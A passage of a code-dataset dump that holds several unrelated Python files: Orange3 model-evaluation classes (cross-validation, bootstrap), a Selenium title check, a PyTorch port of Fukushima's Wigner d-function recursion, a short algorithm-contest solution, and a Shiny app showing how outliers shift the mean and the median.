and/or the number of classes is not given, it is\n inferred from :obj:`data`, if provided. The data type for\n :obj:`actual` and :obj:`predicted` is determined from the data; if the\n latter cannot be find, `np.float32` is used.\n\n Attribute :obj:`actual` and :obj:`row_indices` are constructed as empty\n (uninitialized) arrays of the appropriate size, if the number of rows\n is known. Attribute :obj:`predicted` is constructed if the number of\n rows and of methods is given; :obj:`probabilities` also requires\n knowing the number of classes.\n\n :param data: Data or domain; the data is not stored\n :type data: Orange.data.Table or Orange.data.Domain\n :param nmethods: The number of methods that will be tested\n :type nmethods: int\n :param nrows: The number of test instances (including duplicates)\n :type nrows: int\n \"\"\"\n self.data = data if store_data else None\n self.models = None\n self.folds = None\n self.row_indices = None\n self.actual = None\n self.predicted = None\n self.probabilities = None\n dtype = np.float32\n if data:\n domain = data if isinstance(data, Domain) else data.domain\n if nclasses is None and is_discrete(domain.class_var):\n nclasses = len(domain.class_var.values)\n if nrows is None:\n nrows = len(data)\n try:\n dtype = data.Y.dtype\n except AttributeError:\n pass\n if nrows is not None:\n self.actual = np.empty(nrows, dtype=dtype)\n self.row_indices = np.empty(nrows, dtype=np.int32)\n if nmethods is not None:\n self.predicted = np.empty((nmethods, nrows), dtype=dtype)\n if nclasses is not None:\n self.probabilities = \\\n np.empty((nmethods, nrows, nclasses), dtype=np.float32)\n\n def get_fold(self, fold):\n results = Results()\n results.data = self.data\n\n if self.folds is None:\n raise ValueError(\"This 'Results' instance does not have folds.\")\n\n if self.models is not None:\n results.models = self.models[fold]\n\n results.row_indices = self.row_indices[self.folds[fold]]\n results.actual = self.actual[self.folds[fold]]\n results.predicted = self.predicted[:, self.folds[fold]]\n\n if self.probabilities is not None:\n results.probabilities = self.probabilities[:, self.folds[fold]]\n\n return results\n\n\nclass Testing:\n \"\"\"\n Abstract base class for various sampling procedures like cross-validation,\n leave one out or bootstrap. Derived classes define a `__call__` operator\n that executes the testing procedure and returns an instance of\n :obj:`Results`.\n\n .. attribute:: store_data\n\n A flag that tells whether to store the data used for test.\n\n .. attribute:: store_models\n\n A flag that tells whether to store the constructed models\n \"\"\"\n\n def __new__(cls, data=None, fitters=None, **kwargs):\n \"\"\"\n Construct an instance and store the values of keyword arguments\n `store_data` and `store_models`, if given. If `data` and\n `learners` are given, the constructor also calls the testing\n procedure. For instance, CrossValidation(data, learners) will return\n an instance of `Results` with results of cross validating `learners` on\n `data`.\n\n :param data: Data instances used for testing procedures\n :type data: Orange.data.Storage\n :param learners: A list of learning algorithms to be tested\n :type fitters: list of Orange.classification.Fitter\n :param store_data: A flag that tells whether to store the data;\n this argument can be given only as keyword argument\n :type store_data: bool\n :param store_models: A flag that tells whether to store the models;\n this argument can be given only as keyword argument\n :type store_models: bool\n \"\"\"\n self = super().__new__(cls)\n\n if (data is not None) ^ (fitters is not None):\n raise TypeError(\n \"Either none or both of 'data' and 'fitters' required.\")\n if fitters is not None:\n self.__init__(**kwargs)\n return self(data, fitters)\n return self\n\n def __init__(self, store_data=False, store_models=False):\n self.store_data = store_data\n self.store_models = store_models\n\n def __call__(self, data, fitters):\n raise TypeError(\"{}.__call__ is not implemented\".\n format(type(self).__name__))\n\n\nclass CrossValidation(Testing):\n \"\"\"\n K-fold cross validation.\n\n If the constructor is given the data and a list of learning algorithms, it\n runs cross validation and returns an instance of `Results` containing the\n predicted values and probabilities.\n\n .. attribute:: k\n\n The number of folds.\n\n .. attribute:: random_state\n\n \"\"\"\n def __init__(self, k=10, random_state=0, store_data=False,\n store_models=False):\n super().__init__(store_data=store_data, store_models=store_models)\n self.k = k\n self.random_state = random_state\n\n def __call__(self, data, fitters):\n n = len(data)\n Y = data.Y.copy().flatten()\n indices = cross_validation.StratifiedKFold(\n Y, self.k, shuffle=True, random_state=self.random_state\n )\n results = Results(data, len(fitters), store_data=self.store_data)\n\n results.folds = []\n if self.store_models:\n results.models = []\n ptr = 0\n class_var = data.domain.class_var\n for train, test in indices:\n train_data, test_data = data[train], data[test]\n fold_slice = slice(ptr, ptr + len(test))\n results.folds.append(fold_slice)\n results.row_indices[fold_slice] = test\n results.actual[fold_slice] = test_data.Y.flatten()\n if self.store_models:\n fold_models = []\n results.models.append(fold_models)\n for i, fitter in enumerate(fitters):\n model = fitter(train_data)\n if self.store_models:\n fold_models.append(model)\n\n if is_discrete(class_var):\n values, probs = model(test_data, model.ValueProbs)\n results.predicted[i][fold_slice] = values\n results.probabilities[i][fold_slice, :] = probs\n elif is_continuous(class_var):\n values = model(test_data, model.Value)\n results.predicted[i][fold_slice] = values\n\n ptr += len(test)\n return results\n\n\nclass LeaveOneOut(Testing):\n \"\"\"Leave-one-out testing\n \"\"\"\n def __call__(self, data, fitters):\n results = Results(data, len(fitters), store_data=self.store_data)\n\n domain = data.domain\n X = data.X.copy()\n Y = data.Y.copy()\n metas = data.metas.copy()\n\n teX, trX = X[:1], X[1:]\n teY, trY = Y[:1], Y[1:]\n te_metas, tr_metas = metas[:1], metas[1:]\n if data.has_weights():\n W = data.W.copy()\n teW, trW = W[:1], W[1:]\n else:\n W = teW = trW = None\n\n results.row_indices = np.arange(len(data))\n if self.store_models:\n results.models = []\n results.actual = Y.flatten()\n class_var = data.domain.class_var\n for test_idx in results.row_indices:\n X[[0, test_idx]] = X[[test_idx, 0]]\n Y[[0, test_idx]] = Y[[test_idx, 0]]\n metas[[0, test_idx]] = metas[[test_idx, 0]]\n if W:\n W[[0, test_idx]] = W[[test_idx, 0]]\n test_data = Table.from_numpy(domain, teX, teY, te_metas, teW)\n train_data = Table.from_numpy(domain, trX, trY, tr_metas, trW)\n if self.store_models:\n fold_models = []\n results.models.append(fold_models)\n for i, fitter in enumerate(fitters):\n model = fitter(train_data)\n if self.store_models:\n fold_models.append(model)\n\n if is_discrete(class_var):\n values, probs = model(test_data, model.ValueProbs)\n results.predicted[i][test_idx] = values\n results.probabilities[i][test_idx, :] = probs\n elif is_continuous(class_var):\n values = model(test_data, model.Value)\n results.predicted[i][test_idx] = values\n\n return results\n\n\nclass TestOnTrainingData(Testing):\n \"\"\"Trains and test on the same data\n \"\"\"\n def __call__(self, data, fitters):\n results = Results(data, len(fitters), store_data=self.store_data)\n results.row_indices = np.arange(len(data))\n if self.store_models:\n models = []\n results.models = [models]\n results.actual = data.Y.flatten()\n class_var = data.domain.class_var\n for i, fitter in enumerate(fitters):\n model = fitter(data)\n if self.store_models:\n models.append(model)\n\n if is_discrete(class_var):\n values, probs = model(data, model.ValueProbs)\n results.predicted[i] = values\n results.probabilities[i] = probs\n elif is_continuous(class_var):\n values = model(data, model.Value)\n results.predicted[i] = values\n\n return results\n\n\nclass Bootstrap(Testing):\n def __init__(self, n_resamples=10, p=0.75, random_state=0,\n store_data=False, store_models=False):\n super().__init__(store_data=store_data, store_models=store_models)\n self.n_resamples = n_resamples\n self.p = p\n self.random_state = random_state\n\n def __call__(self, data, fitters):\n indices = cross_validation.Bootstrap(\n len(data), n_iter=self.n_resamples, train_size=self.p,\n random_state=self.random_state\n )\n\n results = Results(data, len(fitters), store_data=self.store_data)\n\n results.folds = []\n if self.store_models:\n results.models = []\n\n row_indices = []\n actual = []\n predicted = [[] for _ in fitters]\n probabilities = [[] for _ in fitters]\n fold_start = 0\n class_var = data.domain.class_var\n for train, test in indices:\n train_data, test_data = data[train], data[test]\n results.folds.append(slice(fold_start, fold_start + len(test)))\n row_indices.append(test)\n actual.append(test_data.Y.flatten())\n if self.store_models:\n fold_models = []\n results.models.append(fold_models)\n\n for i, fitter in enumerate(fitters):\n model = fitter(train_data)\n if self.store_models:\n fold_models.append(model)\n\n if is_discrete(class_var):\n values, probs = model(test_data, model.ValueProbs)\n predicted[i].append(values)\n probabilities[i].append(probs)\n elif is_continuous(class_var):\n values = model(test_data, model.Value)\n predicted[i].append(values)\n\n fold_start += len(test)\n\n row_indices = np.hstack(row_indices)\n actual = np.hstack(actual)\n predicted = np.array([np.hstack(pred) for pred in predicted])\n if is_discrete(class_var):\n probabilities = np.array([np.vstack(prob) for prob in probabilities])\n nrows = len(actual)\n nmodels = len(predicted)\n\n results.nrows = len(actual)\n results.row_indices = row_indices\n results.actual = actual\n results.predicted = predicted.reshape(nmodels, nrows)\n if is_discrete(class_var):\n results.probabilities = probabilities\n return results\n\n\nclass TestOnTestData(Testing):\n \"\"\"\n Test on a separate test data set.\n \"\"\"\n def __new__(cls, train_data=None, test_data=None, fitters=None, **kwargs):\n self = super().__new__(cls)\n\n if train_data is None and test_data is None and fitters is None:\n return self\n elif train_data is not None and test_data is not None and \\\n fitters is not None:\n self.__init__(**kwargs)\n return self(train_data, test_data, fitters)\n else:\n raise TypeError(\"Expected 3 positional arguments\")\n\n def __call__(self, train_data, test_data, fitters):\n results = Results(test_data, len(fitters), store_data=self.store_data)\n models = []\n if self.store_models:\n results.models = [models]\n\n results.row_indices = np.arange(len(test_data))\n results.actual = test_data.Y.flatten()\n\n class_var = train_data.domain.class_var\n for i, fitter in enumerate(fitters):\n model = fitter(train_data)\n if is_discrete(class_var):\n values, probs = model(test_data, model.ValueProbs)\n results.predicted[i] = values\n results.probabilities[i][:, :] = probs\n elif is_continuous(class_var):\n values = model(test_data, model.Value)\n results.predicted[i] = values\n\n models.append(model)\n\n results.nrows = len(test_data)\n results.folds = [slice(0, len(test_data))]\n return results\n","repo_name":"renzhonglu/orange3","sub_path":"Orange/evaluation/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":15769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"15190794842","text":"import logging \n\ndef tc(driver): # -> bool\n\t## print(\"TC_1_title\")\n\ttry:\n\t\ttit = driver.title \n\texcept Exception as ex:\n\t\tlogging.error (\"EXC TC_1_title: \" + str(ex))\n\t\treturn False\n\n\tif driver.title == \"Home - auticon\":\n\t\treturn True\n\treturn False","repo_name":"martinberlin2/SeleniumPython","sub_path":"OldTCsOldAuticonHomepage/TC_1_title.py","file_name":"TC_1_title.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8990067701","text":"import torch\nfrom torch import Tensor\nfrom extended_precision import x2f, xlsum2, x_norm\n\n\"\"\"\n See the following publications for an explanation of the recursive algorithm:\n\n \"Numerical computation of spherical harmonics of arbitrary degree \n and order by extending exponent of floating point numbers\"\n\n https://doi.org/10.1007/s00190-011-0519-2\n\n \"Numerical computation of Wigner's d-function of arbitrary high \n degree and orders by extending exponent of floating point numbers\"\n\n http://dx.doi.org/10.13140/RG.2.2.31922.20160 \n https://www.researchgate.net/publication/309652602\n\n Both by Toshio Fukushima.\n\n I ended up directly porting the F90 code from the second paper, including\n the X-number implementation found in the second paper.\n\n ---------------------------------------------\n \n\n Using equations (10-16) from:\n \"Numerical computation of Wigner's d-function of arbitrary high \n degree and orders by extending exponent of floating point numbers\"\n\n d^j_km = a_jkm * d^(j-1) - b_jkm * d^(j-2)\n\n Note the following symmetry relations of the Wigner d-function:\n\n d^j_k_m(-BETA) = d^j_m_k(BETA) # Negating BETA is equivalent to swapping k and m\n d^j_-k_-m = (-1)^(k-m) d^j_km # Negating k and m yields -1 to (k-m) power prefactor\n d^j_k_-m(BETA) = (-1)^(j + k + 2m) d^j_km(π - BETA) # Negating m yields -1 to (j + k + 2m) power prefactor and angle supplement\n d^j_-k_m(BETA) = (-1)^(j + 2k + 3m) d^j_km(π - BETA) # Negating k yields -1 to (j + 2k + 3m) power prefactor and angle supplement\n d^j_m_k = (-1)^(k-m) d^j_km # Swapping k and m yields -1 to (k-m) power prefactor\n\n This means we can just calculate the non-negative values of k and m and then fill in the rest using the symmetry relations.\n\n where\n\n a_jkm = (4*j - 2) * u_jkm * w_jkm\n b_jkm = v_jkm * w_jkm\n\n where \n u_jkm = [ 2j *(2j - 2) - (2k) (2m) ] - 2j (2j - 2) * 2 * sin^2(BETA / 2) IF 0 < BETA < PI/2\n u_jkm = -1.0 * (2k) (2m) IF BETA = PI/2\n u_jkm = 2j (2j - 2) cos(BETA) - (2k) (2m) IF PI/2 < BETA < PI\n\n v_jkm = 2j * SQRT [ (2j +2k - 2) (2j - 2k - 2) (2j +2m - 2) (2j - 2m - 2) ]\n\n w_jkm = 1 / [ (2j - 2) * SQRT [ (2j + 2k) (2j - 2k) (2j + 2m) (2j - 2m) ] ]\n\n Returns:\n d_lkm: Wigner d-function\n\n \n For recurrence relation, we require seed values d_kkm and d_(k + 1)km\n\n There are taken from equations (17-27) of the same paper...\n\n d_kkm = c_(k + m) * s_(k - m) * e_(km) and d_(k + 1)km = a_km * d_kkm\n\n where\n\n c_n = cos(BETA / 2)^n\n c_0 = 1 AND c_1 = cos(BETA / 2) AND c_n = c_(n - 1) * c_1\n\n s_n = sin(BETA / 2)^n\n s_0 = 1 AND s_1 = sin(BETA / 2) AND s_n = s_(n - 1) * s_1\n\n e_(km) = SQRT[ (2k)! / ((k+m)!(k-m)!) ] where m <= k !!! need recursive alternative\n e_mm = 1 AND e_Lm = 2 * SQRT[ (2L * (2L - 1)) / ((2L + 2m)(2L - 2m)) ] * e_(L - 1)m\n\n a_km = SQRT[2 * (2k + 1) / ((2k + 2m + 2) (2k - 2m + 2)) ] * u_km\n\n where\n\n u_km = (2k - 2m - 2) - (2k - 2) * tc IF 0 < BETA < PI/2\n u_km = -(2m) IF BETA = PI/2\n u_km = (2k - 2) * t - (2m) IF PI/2 < BETA < PI\n\n when BETA is PI/2, we have a simplification of prefactor c_(k + m) * s_(k - m)\n\n f_k = c_(k+m) * s_(k-m) = 2**(-k) IF k values are integers\n f_k = c_(k+m) * s_(k-m) = SQRT(2) 2**(-k - 1/2) IF k values are half-integers\n\n f_0 = 1 AND f_L = 0.5 * f_(L - 1) IF L is integer\n f_0 = 0.5 * SQRT(2) AND f_L = 0.5 * f_(L - 1) IF L is half-integer\n\n\n **************************************************************\n **************************************************************\n\n Only using integer values for k and m, so here is what we have:\n according to Will Lenthe's code...\n\n a_jkm = (2j - 1) * u_jkm * w_jkm\n b_jkm = v_jkm * w_jkm\n\n where\n\n u_jkm = j * (j - 1) - k * m - j * (j - 1) * t_c IF 0 < BETA < PI/2\n u_jkm = -k * m IF BETA = PI/2\n u_jkm = j * (j - 1) * t - k * m IF PI/2 < BETA < PI\n\n v_jkm = j * SQRT [ (j + k - 1) (j - k - 1) (j + m - 1) (j - m - 1) ]\n\n w_jkm = 1 / [ (j - 1) * SQRT [ (j + k) (j - k) (j + m) (j - m) ] ]\n\n And the seed values are provided by:\n\n d_kkm = c_(k + m) * s_(k - m) * e_(km) and d_(k + 1)km = a_km * d_kkm\n\n where\n\n c_n = cos(BETA / 2)^n\n c_0 = 1 AND c_1 = cos(BETA / 2) AND c_n = c_(n - 1) * c_1\n\n s_n = sin(BETA / 2)^n\n s_0 = 1 AND s_1 = sin(BETA / 2) AND s_n = s_(n - 1) * s_1\n\n e_mm = 1 AND e_Lm = 2 * SQRT[ (L * (2L - 1)) / ((L + m)(L - m)) ] * e_(L - 1)m for L = (m+1), (m+2), ..., k\n\n a_km = SQRT[ (2k + 1) / ((k + m + 1) (k - m + 1)) ] * u_km\n\n\n where\n\n u_km = (k - m + 1) - (k + 1) * tc IF 0 < BETA < PI/2\n u_km = -m IF BETA = PI/2\n u_km = (k + 1) * t - m IF PI/2 < BETA < PI\n\n Some of the formulae do not simply convert 2j to j etc. which\n confused me. In the end I implemented Toshio Fukushima's F90\n code exactly including X-numbers for the recursion on the d_kkm\n through d_jkm and cosine / sine powers. Could use quad precision\n floats instead but Numpy np.float128 is just an alias for the C\n long double which is 80 bits, not 128 bits. \n\n **************************************************************\n **************************************************************\n\n\nImplement Toshio's F90 code:\n\nTable 4: Double precision X-number Fortran subroutine to return Wigner’s d-functions, d( j)\nkm(β).\n\nThis is an adaptation of the X-number formulation to wdvc listed in Table 3. This time, the input\ndouble precision seed value dkkm is replaced with its X-number mantissa and exponent, xdkkm\nand idkkm. Also, some of the working integer variables are declared as 64 bit integers in order to\navoid the overflow in their multiplications.\n\nsubroutine xwdvc(jmax2,k2,m2,tc,xdkkm,idkkm,dkm)\nreal*8 tc,xdkkm,dkm(0:*),xd0,x2f,a,xd1,w,b,xd2\ninteger jmax2,k2,m2,idkkm,id0,id1,id2\ninteger*8 m2k2,j2,j2j22,j2pk2,j2mk2,j2pm2,j2mm2\nxd0=xdkkm; id0=idkkm; dkm(k2/2)=x2f(xd0,id0); if(jmax2.le.k2) return\nm2k2=int8(m2)*int8(k2); j2=k2+2; j2mm2=j2-m2\na=sqrt(dble(j2-1)/dble((j2+m2)*(j2mm2)))*(dble(j2mm2)-dble(j2)*tc)\nxd1=xd0*a; id1=id0; call xnorm(xd1,id1); dkm(j2/2)=x2f(xd1,id1)\ndo j2=k2+4,jmax2,2\n j22=j2-2; j2j22=j2*j22\n j2pk2=j2+k2; j2mk2=j2-k2; j2pm2=j2+m2; j2mm2=j2-m2\n w=1.d0/(dble(j22)*sqrt(dble(j2pk2*j2mk2)*dble(j2pm2*j2mm2)))\n b=w*dble(j2)*sqrt(dble((j2pk2-2)*(j2mk2-2))*dble((j2pm2-2)*(j2mm2-2)))\n a=w*dble(j2+j22)*(dble(j2j22-m2k2)-dble(j2j22)*tc)\n call xlsum2(a,xd1,-b,xd0,xd2,id1,id0,id2)\n dkm(j2/2)=x2f(xd2,id2); xd0=xd1; id0=id1; xd1=xd2; id1=id2\nenddo\nreturn; end\n\n\"\"\"\n\n@torch.jit.script\ndef xwdvc(jmax2: Tensor,\n k2: Tensor,\n m2: Tensor,\n tc: Tensor,\n d_kkm_x: Tensor,\n d_kkm_i: Tensor,\n) -> Tensor:\n \n xd0 = d_kkm_x\n id0 = d_kkm_i\n \n dkm = torch.zeros(int(jmax2 - k2) // 2 + 1, dtype=torch.float64)\n # xd0, id0 = x_norm(xd0, id0)\n dkm[0] = x2f(xd0, id0)[0]\n\n if jmax2 <= k2:\n return dkm\n \n m2k2 = m2 * k2\n j2 = k2 + 2\n j2mm2 = j2 - m2\n # *****************************************\n # *****************************************\n # *****************************************\n # This line assumes that Beta is between 0 and pi/2, but it need not be\n # Further, for SO3 convolution, Beta will be at pi/2, which needs \n # special handling for numerical stability. This is a test implementation.\n a = ((j2 - 1).double() / ((j2 + m2) * j2mm2).double())**0.5 * (j2mm2.double() - j2.double() * tc)\n # *****************************************\n # *****************************************\n # *****************************************\n xd1 = xd0 * a\n id1 = id0\n xd1, id1 = x_norm(xd1, id1)\n dkm[1] = x2f(xd1, id1)[0]\n # print(f\"xd1: {xd1.item()}\")\n index = 2\n for j2 in torch.arange(int(k2 + 4), int(jmax2) + 2, dtype=torch.int64, step=2):\n j22 = j2 - 2\n j2j22 = j2 * j22\n j2pk2 = j2 + k2\n j2mk2 = j2 - k2\n j2pm2 = j2 + m2\n j2mm2 = j2 - m2\n # w=1.d0/(dble(j22)*sqrt(dble(j2pk2*j2mk2)*dble(j2pm2*j2mm2)))\n w = 1.0 / (j22.double() * ((j2pk2 * j2mk2).double() * (j2pm2 * j2mm2).double())**0.5)\n # b=w*dble(j2)*sqrt(dble((j2pk2-2)*(j2mk2-2))*dble((j2pm2-2)*(j2mm2-2)))\n b = w * j2.double() * (((j2pk2 - 2) * (j2mk2 - 2)).double() * ((j2pm2 - 2) * (j2mm2 - 2)).double())**0.5\n # a=w*dble(j2+j22)*(dble(j2j22-m2k2)-dble(j2j22)*tc)\n a = w * (j2 + j22).double() * ((j2j22 - m2k2).double() - j2j22.double() * tc)\n\n # d_n is a * d_n-1 - b * d_n-2\n # d_n-2 is xd0, id0 and d_n-1 is xd1, id1 so it is easy to swap a and b here\n xd2, id2 = xlsum2(-b, a, xd0, id0, xd1, id1)\n dkm[index] = x2f(xd2, id2)[0]\n xd0 = xd1\n id0 = id1\n xd1 = xd2\n id1 = id2\n index += 1\n\n return dkm\n\n\n\"\"\"\n\nNow we implement the logic for seed generation and print out the results \nusing his example code ported from F90 as inspiration. We will make β and J\na input parameters...\n\n\nTable 5: Test driver of xwdvc. It print outs the values of Wigner's d-functions for all the de-\ngree/orders satisfying the condition, 0 ≤ m ≤ k ≤ j ≤ J, when the case J = 9/2 and β = π/4.\nprogram prtxwdc\nreal*8 PI,beta,betah,ch,sh,tc,cn,sn,fm,fk,xekm,f,xdkkm,fj\ninteger JX,JX2,jmax2,jg,j0,icn,isn,n,m2,k2,kpm,kmm,iekm,idkkm\nparameter (JX=16384,JX2=JX*2)\nreal*8 dkm(0:JX),xc(0:JX2),xs(0:JX); integer ic(0:JX2),is(0:JX)\nPI=atan(1.d0)*4.d0; jmax2=9; beta=PI*0.25d0; jg=jmax2/2; j0=jmax2-jg*2\nbetah=beta*0.5d0; ch=cos(betah); sh=sin(betah); tc=2.d0*sh*sh\ncn=1.d0; icn=0; sn=1.d0; isn=0; xc(0)=cn; ic(0)=icn; xs(0)=sn; is(0)=isn\ndo n=1,jmax2\n cn=ch*cn; call xnorm(cn,icn); xc(n)=cn; ic(n)=icn\nenddo\ndo n=1,jg\n sn=sh*sn; call xnorm(sn,isn); xs(n)=sn; is(n)=isn\nenddo\ndo m2=j0,jmax2,2\n fm=dble(m2)*0.5d0\n do k2=m2,jmax2,2\n fk=dble(k2)*0.5d0; kpm=(k2+m2)/2; kmm=(k2-m2)/2\n if(k2.eq.m2) then\n xekm=1.d0; iekm=0\n else\n f=dble(k2*(k2-1))/dble(kpm*kmm)\n xekm=xekm*sqrt(f); call xnorm(xekm,iekm)\n endif\n xdkkm=xc(kpm)*xs(kmm); idkkm=ic(kpm)+is(kmm)\n call xnorm(xdkkm,idkkm)\n xdkkm=xdkkm*xekm; idkkm=idkkm+iekm\n call xnorm(xdkkm,idkkm)\n call xwdvc(jmax2,k2,m2,tc,xdkkm,idkkm,dkm)\n do j2=k2,jmax2,2\n fj=dble(j2)*0.5d0\n write(*,”(0p3f10.1,1pe25.15)”) fj,fk,fm,dkm(j2/2)\n enddo\n enddo\nenddo\nend program prtxwdc\n\n\"\"\"\n\n@torch.jit.script\ndef xwdvc_driver(jmax2: Tensor,\n beta: Tensor,\n) -> None:\n \"\"\"\n This is the driver for the xwdvc function. It will print out the values of Wigner's d-functions \n for all the degree/orders satisfying the condition, 0 ≤ m ≤ k ≤ j ≤ J, given J and β.\n\n \"\"\"\n # keep everything as tensors and use int() to get the values for range if needed\n JX = 16384\n JX2 = JX * 2\n jg = jmax2 // 2\n j0 = jmax2 - jg * 2\n betah = beta * 0.5\n ch = torch.cos(betah)\n sh = torch.sin(betah)\n tc = 2.0 * sh * sh\n xc = torch.ones(JX2, dtype=torch.float64)\n i_c = torch.zeros(JX2, dtype=torch.int64)\n xs = torch.ones(JX, dtype=torch.float64)\n i_s = torch.zeros(JX, dtype=torch.int64)\n\n cn = torch.ones(1, dtype=torch.float64)\n icn = torch.zeros(1, dtype=torch.int64)\n\n for n in range(1, int(jmax2 + 4)):\n cn = ch * cn\n cn, icn = x_norm(cn, icn)\n xc[n] = cn[0]\n i_c[n] = icn[0]\n\n sn = torch.ones(1, dtype=torch.float64)\n isn = torch.zeros(1, dtype=torch.int64)\n\n for n in range(1, int(jmax2 + 4)):\n sn = sh * sn\n sn, isn = x_norm(sn, isn)\n xs[n] = sn[0]\n i_s[n] = isn[0]\n\n\n for m2 in torch.arange(int(j0), int(jmax2) + 2, step=2, dtype=torch.int64):\n fm = m2.double() * 0.5\n xekm = torch.ones(1, dtype=torch.float64)\n iekm = torch.zeros(1, dtype=torch.int64)\n for k2 in torch.arange(int(m2), int(jmax2) + 2, step=2, dtype=torch.int64):\n fk = k2.double() * 0.5\n kpm = (k2 + m2) // 2\n kmm = (k2 - m2) // 2\n if k2 == m2:\n xekm = torch.ones(1, dtype=torch.float64)\n iekm = torch.zeros(1, dtype=torch.int64)\n else:\n f = (k2.double() * (k2.double() - 1)) / (kpm.double() * kmm.double())\n xekm = xekm * f**0.5\n xekm, iekm = x_norm(xekm, iekm)\n \n # print(f'xekm for k2 = {k2.item()} and m2 = {m2.item()}: {xekm.item()}')\n\n xdkkm = xc[kpm] * xs[kmm]\n idkkm = i_c[kpm] + i_s[kmm]\n xdkkm, idkkm = x_norm(xdkkm, idkkm)\n\n # print(f'xc for k2 = {k2.item()} and m2 = {m2.item()}: {xc[kpm].item()}')\n # print(f'xs for k2 = {k2.item()} and m2 = {m2.item()}: {xs[kmm].item()}')\n # print(f'xc * xs for k2 = {k2.item()} and m2 = {m2.item()}: {xdkkm.item()}')\n\n xdkkm = xdkkm * xekm\n idkkm = idkkm + iekm\n xdkkm, idkkm = x_norm(xdkkm, idkkm)\n # print(f'xdkkm for k2 = {k2.item()} and m2 = {m2.item()}: {xdkkm.item()}')\n\n dkm = xwdvc(jmax2, k2, m2, tc, xdkkm, idkkm)\n \n index = 0\n for j2 in torch.arange(int(k2), int(jmax2) + 2, step=2, dtype=torch.int64):\n fj = j2.double() * 0.5\n print(f\"fj: {fj.item()}, fk: {fk.item()}, fm: {fm.item()}, dkm: {dkm[index].item()} item number {index + 1} out of {dkm.shape[0]}\")\n index += 1\n\n# test out the functions\nxwdvc_driver(\n jmax2=torch.tensor([4,], dtype=torch.int64),\n beta=torch.tensor([torch.pi * 7417.0 / 16384.0,], dtype=torch.float64),\n)","repo_name":"ZacharyVarley/ebsdtorch","sub_path":"ebsdtorch/dictionary/wigner_d_coeff_reference.py","file_name":"wigner_d_coeff_reference.py","file_ext":"py","file_size_in_byte":14031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30349585129","text":"n = int(input())\nlst = list(map(int, input().split(' ')))\n\n\n\ndef sol(n, lst):\n\n\n slime = lst[0] + lst[1]\n score = lst[0] * lst[1]\n\n for i in range(2, len(lst)):\n score = score + slime*lst[i]\n slime += lst[i]\n\n return score\n\nprint(sol(n, lst))\n","repo_name":"Kim-Young-Hoo/boj_algorithms","sub_path":"백준/Silver/14241. 슬라임 합치기/슬라임 합치기.py","file_name":"슬라임 합치기.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10702050946","text":"\"\"\"\n In this file a Shiny app will be created in order to see how Mean and Median Measuring values behave\n when adding outliers to the data. There will be several interactive parameters in the application:\n - Sample size\n - Number of bins\n - If outlier selection checkbox is selected:\n * Outlier offset: add big or small outlier values\n * Number of outliers\n\"\"\"\n\n# import packages\nfrom shiny import App, reactive, render, ui\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Polygon\nimport numpy as np\nimport scipy.stats as stats\n\n# design Shiny application\napp_ui = ui.page_fluid(\n ui.panel_title(\"Measuring Sensitivity of Central Tendency Measures to Outliers\"),\n ui.layout_sidebar(\n # left side panel - parameters\n ui.panel_sidebar(\n ui.input_slider(\"n\", \"Sample size\", 0, 10000, 1000, step=50),\n ui.input_slider(\"n_bins\", \"Number of bins\", 0, 100, 40, step=10),\n # show mean and median values\n ui.output_text_verbatim(\"measure_tendencies\"),\n ui.input_checkbox(\"outliers\", \"Add outliers to distribution\", False),\n ui.panel_conditional(\n \"input.outliers\",\n ui.input_slider(\"offset_outliers\", \"Select offset for outliers (big/small outliers)\", 0, 50, 0, step=5)\n ),\n ui.panel_conditional(\n \"input.outliers\",\n ui.input_slider(\"n_outliers\", \"Select amount of outlier values\", 0, 10, 0, step=1)\n )\n ),\n # right side panel - plot\n ui.panel_main(\n ui.output_plot(\"plot\", width = \"60%\", height = \"855px\")\n ),\n ),\n)\n\n\n# define functions and use cases for application\ndef server(input, output, session):\n\n # define reactive values - original data will be saved\n data = reactive.Value()\n original_data = reactive.Value()\n\n # create new sample when n (sample_size) is changed (log distribution)\n @reactive.Effect\n @reactive.event(input.n)\n def _():\n # avoid error when sample_size 0 is selected - use 1 instead\n if input.n() == 0:\n distribution = np.exp(np.random.randn(1))\n else:\n distribution = np.exp(np.random.randn(input.n()))\n data.set(distribution)\n original_data.set(distribution)\n\n\n # reactive event to create corresponding outlier values and append to original data\n @reactive.Effect\n @reactive.event(input.n_outliers, input.offset_outliers, input.n)\n def _():\n # load original sample\n d = original_data.get()\n # do not do anything when offset or n_outliers are 0\n if input.n_outliers() != 0 and input.offset_outliers() != 0:\n d = np.hstack((d, np.mean(d) * np.random.randn(input.n_outliers()) + input.offset_outliers() * np.std(d)))\n np.random.shuffle(d)\n # set to current data\n data.set(d)\n\n\n # show sample mean and median\n @output\n @render.text\n def measure_tendencies():\n return f\"Mean value: {round(np.mean(data()), 4)}\\tMedian value: {round(np.median(data()), 4)}\"\n\n # create plots\n @output\n @render.plot(alt=\"A histogram\")\n def plot() -> object:\n\n # avoid 0 bins error\n if input.n_bins() == 0:\n nbins = 1\n else:\n nbins = input.n_bins()\n\n # get mean and median values\n mean = np.mean(data())\n median = np.median(data())\n d = original_data.get()\n # create histogram\n fig, ax = plt.subplots(3, 1)\n ax[0].hist(data(), bins=nbins)\n ax[0].set_title(\"Log distribution histogram\", fontsize=\"8\")\n ax[0].set_xlabel(\"Value\")\n ax[0].set_ylabel(\"Counts\")\n # create plot to show datapoints, mean and median\n ax[1].plot(data(), '.', color=\"lightgray\", label=\"Data\")\n ax[1].plot([0, len(data.get())], [mean, mean], '--', color=\"deepskyblue\", label=\"Mean\")\n ax[1].plot([0, len(data.get())], [median, median], '-.', color=\"crimson\", label=\"Median\")\n ax[1].legend()\n ax[1].set_title(\"Log distribution datapoints\", fontsize=\"8\")\n ax[1].set_xlabel(\"N\")\n ax[1].set_ylabel(\"Value\")\n # get histogram values\n y, x = np.histogram(data(), nbins)\n # calculate the centers of the bins\n x = (x[:-1] + x[1:]) / 2\n # get 95% confidence intervals for mean and median\n confidence = 95\n citmp = (1-confidence/100)/2\n # get C.I. upper and lower bounds\n 